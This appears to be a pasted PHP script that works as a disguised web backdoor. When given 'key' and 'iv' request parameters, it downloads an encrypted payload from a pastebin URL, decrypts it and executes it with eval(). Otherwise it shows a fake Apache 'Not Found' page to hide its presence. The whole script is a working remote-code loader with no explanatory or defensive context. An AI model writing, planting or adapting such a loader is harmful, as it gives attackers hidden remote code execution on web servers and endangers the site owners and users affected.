· 9 years ago · Sep 15, 2016, 11:44 PM
1<?php
2
3function encrypt_decrypt($action, $string, $secret_key, $secret_iv) {
4 $output = false;
5
6 $encrypt_method = "AES-256-CBC";
7
8 $key = hash('sha256', $secret_key);
9
10 $iv = substr(hash('sha256', $secret_iv), 0, 16);
11
12 if( $action == 'encrypt' ) {
13 $output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv);
14 $output = base64_encode($output);
15 }
16 else if( $action == 'decrypt' ){
17 $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
18 }
19
20 return $output;
21}
22
23$key = $_GET["key"];
24
25$iv = $_GET["iv"];
26
27if ( isset( $_GET[ 'key' ] ) && isset( $_GET[ 'iv' ] ) ) {
28$encrypt_txt = file_get_contents("http://pastebin.com/raw/gJhcyCsg");
29$decrypted_txt = encrypt_decrypt('decrypt', $encrypt_txt, $key, $iv);
30eval("?>".($decrypted_txt));
31} else
32 printf(
33 "<h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr /><p>".
34 "Apache Server at %s Port %s</p>", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'] );
35?>